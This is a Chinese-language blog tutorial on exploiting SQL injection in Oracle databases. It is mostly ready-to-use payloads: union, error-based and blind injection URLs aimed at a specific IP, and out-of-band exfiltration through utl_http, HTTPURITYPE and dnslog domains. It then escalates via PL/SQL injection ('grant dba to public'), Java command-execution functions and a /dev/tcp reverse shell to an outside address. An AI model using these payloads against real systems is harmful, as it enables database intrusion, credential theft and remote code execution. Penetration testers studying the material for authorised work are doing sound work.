sql

Oracle

sql

Posted by lyk on August 2, 2024

0x01 前言

在渗透测试过程中,总是遇到不熟悉的数据库,知道了有SQL注入漏洞但是无法利用,这总让我很苦恼。因为网上的文章很多都是基于Mysql数据库的,当遇到Oracle数据库时有些数据库层面的不同点对于我们测试总会有点困扰,无法成功利用。故学习了Oracle数据库注入的相关知识,在此总结分享给大家,希望能够对安全从业人员有所帮助。

全文基于对于SQL注入具有一定理解,并且能够在Mysql数据库进行注入的基础上进行阐述。本文旨在讲述Oracle数据库多种情况下如何进行注入,注重实战,相关概念问题请自行查阅资料,谢谢理解~

0x02 注入点确定

跟其他数据库一样,检测注入点都是可以通过拼接and语句进行判断。这里通过and 1=1 和and 1=2进行判断。实战中还可以通过延时函数进行判断。

http://219.153.49.228:43469/new_list.php?id=1%20and%201=1

img

http://219.153.49.228:43469/new_list.php?id=1%20and%201=2

img

0x03 联合注入

1、判断字段数为2

与其他注入一样,这里通过order by来判断字段数。因为order by 2页面正常,order by 3页面不正常,故判断当前字段数为2。

http://219.153.49.228:43469/new_list.php?id=1%20order%20by%202

img img

2、获取显错点

联合查询这里使用了union select,oracle数据库与mysql数据库不同点在于它对于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取显错点了,需要在字符型字段使用字符型数据,整型字段使用整型数据才可以。如下,两个字段都为字符型,故使用union select ‘null’,’null’。

(在有些情况下也采用union all select的形式进行联合查询。union all select与union select的不同点可以很容易理解为all表示输出所有,也就是当数据出现相同时,将所有数据都输出;union select则会将相同数据进行过滤,只输出其中一条。)

#联合查询
http://219.153.49.228:43469/new_list.php?id=-1 union select null,null from dual
#修改null'null',判断字段类型均为字符型
http://219.153.49.228:43469/new_list.php?id=-1 union select 'null','null' from dual

img 后续便可以替换显错点进行注入。

3、查询数据库版本信息

http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual

4、获取当前数据库连接用户

http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select sys_context('userenv','current_user') from dual) from dual

http://219.153.49.228:44768/new_list.php?id=-1 union select '1',user from dual

img

5、查询当前数据库库名

http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select instance_name from V$INSTANCE) from dual

img

6、查询数据库表名

查询表名一般查询admin或者user表

直接查询

获取第一个表名LOGMNR_SESSION_EVOLVE$

http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual

img 获取第二个表名LOGMNR_GLOBAL$

http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

img 获取第三个表名LOGMNR_GT_TAB_INCLUDE$

http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual
模糊搜索查询

获取sns_users表名

http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual

img

7、查询数据库列名

直接查询

获取sns_users表里的字段

http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME') from dual

http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME') from dual……………

http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME' and column_name not in 'PROTOCOL' and column_name not in 'SPARE1' and column_name not in 'DB_USERNAME' and column_name not in 'OID' and column_name <> 'EVENTID' and column_name <> 'NAME' and column_name <> 'TABLE_OBJNO') from dual
获取如下字段:USER_NAMEAGENT_NAMEPROTOCOLSPARE1DB_USERNAMEOIDEVENTIDNAMETABLE_OBJNOUSAGEUSER_PWD…………
模糊搜索查询
http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%') from dual

http://219.153.49.228:43469/new_list.php?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%' and column_name <> 'USER_NAME') from dual

8、查询数据库数据

获取账号密码字段内容

http://219.153.49.228:43469/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

img

http://219.153.49.228:43469/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'

img

http://219.153.49.228:43469/new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'

img 解密获取密码392118 img

9、美化输出

Oracle采用   进行数据连接
http://219.153.49.228:44768/new_list.php?id=-1 union select '用户名:'||USER_NAME,'密码:'||USER_PWD from "sns_users" where rownum=1

img

0x04 报错注入

报错注入是一种通过函数报错前进行子查询获取数据,再通过错误页面回显的一种注入手法,下面介绍几种报错注入函数以及获取一些常见的获取数据,实际操作只需要将子查询内的查询语句进行替换即可。

1、ctxsys.drithsx.sn()

#获取当前数据库用户 ORACLE1?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

img

#获取数据库版本信息?id=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) --

img

2、XMLType()

?id=1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

img

3、dbms_xdb_version.checkin()

#获取数据库版本信息?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --

img

4、bms_xdb_version.makeversioned()

#获取当前数据库用户 ORACLE1?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

img

5、dbms_xdb_version.uncheckout()

#获取数据库版本信息?id=1 and (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null --

img

6、dbms_utility.sqlid_to_sqlhash()

#获取数据库版本信息?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null --

img

7、ordsys.ord_dicom.getmappingxpath()

?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user)--

8、utl_inaddr.*()

utl_inaddr(用于取得局域网或Internet环境中的主机名和IP地址) img

?id=1 and 1=utl_inaddr.get_host_name((select user from dual)) --?id=1 and 1=utl_inaddr.get_host_address((select user from dual)) --

img img

0x05 布尔型盲注

常用猜解:

#猜长度?id=1 and 6=(select length(user) from dual)--#截取值猜ascii码?id=1 and (select ascii(substr(user,1,1)) from dual)>83?id=1 and (select ascii(substr(user,1,1)) from dual)=83

img

1、decode函数布尔盲注

decode(字段或字段的运算,值1,值2,值3) 这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3

测试用户名长度
http://219.153.49.228:44768/new_list.php?id=1 and 6=(select length(user) from dual) --
测试当前用户是否为SYSTEM
#如果是system用户则返回正常,不是则返回不正常http://219.153.49.228:44768/new_list.php?id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --
#使用substr截断,逐个字段进行猜解http://219.153.49.228:44768/new_list.php?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) -- ?id=1 and 1=(select decode(substr(user,2,1),'Y',1,0) from dual) -- ?id=1 and 1=(select decode(substr(user,3,1),'S',1,0) from dual) --?id=1 and 1=(select decode(substr(user,4,1),'T',1,0) from dual) --?id=1 and 1=(select decode(substr(user,5,1),'E',1,0) from dual) --?id=1 and 1=(select decode(substr(user,6,1),'M',1,0) from dual) --#当然也可以配合ascii码进行猜解?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',1,0) from dual) --

img

2、instr函数布尔盲注

instr函数的应用:

select instr('abcdefgh','de') position from dual;#返回结果:4

盲注中的应用:

http://219.153.49.228:44768/new_list.php?id=1 and 1=(instr((select user from dual),'SYS')) --?id=1 and 4=(instr((select user from dual),'T')) --

0x06 延时盲注

1、检测漏洞存在

DBMS_PIPE.RECEIVE_MESSAGE函数的作用是从指定管道获取消息。 具体用法为:DBMS_PIPE.RECEIVE_MESSAGE(‘pipename’,timeout) pipename为varchar(128)的字符串,用以指定管道名称,在这里我们输入任意值即可。 timeout为integer的可选输入参数,用来指定等待时间。 常用payload如下:

http://219.153.49.228:44768/new_list.php?id=1 and 1=dbms_pipe.receive_message('o', 10)--

img 如果页面延时10秒返回,即存在注入。

2、配合decode函数延时盲注

只需要将延时语句放入decode函数中即可

#直接猜解字符?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --#通过ascii猜解字符?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',dbms_pipe.receive_message('o',5),0) from dual) --

img

3、使用其他延时查询来判断

如(select count(*) from all_objects) ,因为查询结果需要一定的时间,在无法使用dbms_pipe.receive_message()函数的情况下可以使用这个。具体操作只需要将decode()函数的返回结果进行替换即可。

#直接猜解字符?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) --#通过ascii猜解字符?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',(select count(*) from all_objects),0) from dual) --

0x07 外带数据注入

1、url_http.request()

使用此方法,用户需要有utl_http访问网络的权限 首先检测是否支持,页面返回正常则表示支持

?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

img 然后python起一个http服务,或者开启nc监听。这里我使用python开启一个服务:

python3 -m http.server 4455

img

#子查询数据库版本信息并访问python起的http服务?id=1 and utl_http.request('http://192.168.100.130:4455/'||(select banner from sys.v_$version where rownum=1))=1--#http访问时可以将||进行URL编码?id=1 and utl_http.request('http://192.168.100.130:4455/'%7C%7C(select banner from sys.v_$version where rownum=1))=1--

img 可以看到成功获取了数据 img

2、utl_inaddr.get_host_address()函数

#使用dnslog外带数据?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.eeaijt.dnslog.cn') from dual)is not null --

img img

3、SYS.DBMS_LDAP.INIT()函数

网上说是可以使用,我试着不行,收不到数据,不知道是不是环境问题。

?id=1 and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.51prg6.dnslog.cn',80) from dual)is not null --?id=1 and (select DBMS_LDAP.INIT((select user from dual)||'.51prg6.dnslog.cn',80) from dual)is not null --

4、HTTPURITYPE()函数

?id=1 and (select HTTPURITYPE('http://192.168.100.130:4455/'||(select user from dual)).GETCLOB() FROM DUAL)is not null --

同样需要python起一个http服务,或者nc创建监听 img 虽然访问404,但是同样成功外带数据。 img

0x08 XXE

Oracle XXE(CVE-2014-6577)

*受影响版本:11.2.0.3, 11.2.0.4, 12.1.0.1 和12.1.0.2*

这里Oracle的XXE的利用效果和UTL_http的效果差不多,都是将数据传输到远端服务器上,但是,由于extractvalue()函数对所有数据库用户都可以使用,不存在权限的问题,所以当在低权限没有UTL_http访问权限时,这个不失为一个好方法。

0x09 getshell

1、DBMS_EXPORT_EXTENSION()

  • 影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)
  • 权限:None
  • 详情:这个软件包有许多易受PL/SQL注入攻击的函数。这些函数由SYS拥有,作为SYS执行并且可由PUBLIC执行。因此,如果SQL注入处于上述任何未修补的Oracle数据库版本中,那么攻击者可以调用该函数并直接执行SYS查询。

提权:该请求将导致查询”GRANT DBA TO PUBLIC”以SYS身份执行。 因为这个函数允许PL / SQL缺陷(PL / SQL注入)。一旦这个请求成功执行,PUBLIC获取DBA角色,从而提升当前user的特权

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual

使用java

(1) 创建Java库

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual

(2) 赋予Java权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual

(3) 创建函数

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual

(4) 赋予函数执行权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual

(5) 执行

select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual

extension_linxruncmd_01

extension_linxruncmd_01

2、dbms_xmlquery.newcontext()

此方法成功前提

  • 影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)

方法1 中DBMS_EXPORT_EXTENSION存在漏洞情况下,否则赋予权限时无法成功

(1) 创建java包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

通过以下命令可以查看all_objects内部改变:

select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'

newcontext_all_objects_01

newcontext_all_objects_01

(2) 赋予当前用户java权限

--当前用户查看
select user from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;

查看可用的java权限列表,通过以下命令查看赋权情况

select * from user_java_policy where grantee_name='YY';

newcontext_java_policy_01

newcontext_java_policy_01

若赋权失败,最后执行命令时会报如下错误 newcontext_linxruncmd_error_01

newcontext_linxruncmd_error_01

此处很坑,前后折腾,不知道哪里问题,有时可以执行命令,有时不能,网上找了太多赋权命令,不知是哪一条成功,导致我恢复快照不下10次测试问题到底出在哪。

最后找到上述查看赋权情况命令,才找出哪条赋权命令能成功。所以,坑在哪里?

T00ls

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

newcontext_java_policy_01_t00ls

newcontext_java_policy_01_t00ls

显而易见,根本没赋权成功 关于上述赋权失败,评论里作者回复使用下述命令

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''grant javauserpriv to YY''commit;end;') from dual;

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''grant javasyspriv to YY''commit;end;') from dual;

newcontext_java_policy_01_t00ls

newcontext_java_policy_01_t00ls

显然,一样的结果

随风’s blog

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;

newcontext_java_policy_02_suifeng

newcontext_java_policy_02_suifeng

可见,两种方式均无果

(3) 创建函数

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

判断是否创建成功

select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'

newcontext_object_id_01

newcontext_object_id_01

也可通过查看all_objects内部改变判断

select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'

newcontext_all_objects_02

newcontext_all_objects_02

若想删除创建的函数,通过以下命令删除

drop function LinxRunCMD

(4) 执行

select LinxRunCMD('id') from dual

恭喜!!!

newcontext_linxruncmd_01

newcontext_linxruncmd_01

newcontext_linxruncmd_02

newcontext_linxruncmd_02

3、DBMS_JAVA.RUNJAVA/DBMS_JAVA_TEST.FUNCALL()

使用java privileges

  • 影响版本: 10g R2, 11g R1, 11g R2
  • 权限:Java Permissions.
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper touch /tmp/success') FROM DUAL;

Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual;

执行时报如下错,貌似没赋权?实际上赋权后还是一样的错误

test.funcall_error 2

test.funcall_error 2

但不影响命令的执行

test.funcall_01

test.funcall_01

该方式无回显,在注入时不太方便利用,但可通过此方式反弹 : )

4、反弹shell

网上铺天盖地windows的payload,linux下根本无法反弹,自己手动测试java代码反弹,然后放入oracle Sql

java反弹代码如下:

import java.io.*;
import java.net.*;
public class shellRev
{
        public static void main(String[] args)
        {
                System.out.println(1);
                try{run();}
                catch(Exception e){}
        }
public static void run() throws Exception
        {
                String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};
                Process p=Runtime.getRuntime().exec(aaa);
	}
}
#编译
javac shellRev.java
#执行
java shellRev

1. 创建java代码

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual

2. 赋予java权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3. 创建函数

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual

4. 赋予函数执行权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual

5. 反弹shell

select sys.reversetcp from dual

5、sql storage

这个方法其实就是和sh文件一样,把多个语句放到一个sql文件,然后让oracle执行。也就是说我们需要有一个任意文件写入的点位 permission.sql

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 
'GRANT',USER(),'SYS','java.io.FilePermission',
'<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

rce.sql

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
    public static String execCommand(String command) throws IOException, InterruptedException {
        Runtime rt = Runtime.getRuntime();
        int bufSize = 4096;
        byte buffer[] = new byte[bufSize];
        String rc = "";
        int len;
        try{
            Process p = rt.exec(command);
            BufferedInputStream bis =
                    new BufferedInputStream(p.getInputStream(), bufSize);
            while ((len = bis.read(buffer, 0, bufSize)) != -1){
                rc += new String(buffer).split("\0")[0];;
            }
            bis.close();
            p.waitFor();
            return rc;
        } catch (Exception e) {
            rc = e.getMessage();
        }
        finally
        {
            return rc;
        }
    }
}
/
create or replace
function javae(p_command in varchar2) return varchar2
as
language java
name 'oraexec.execCommand(java.lang.String) return String';
/

把这两个文件放到一个位置

image-20240805013800857

最后就直接rce了。

image-20240805013816765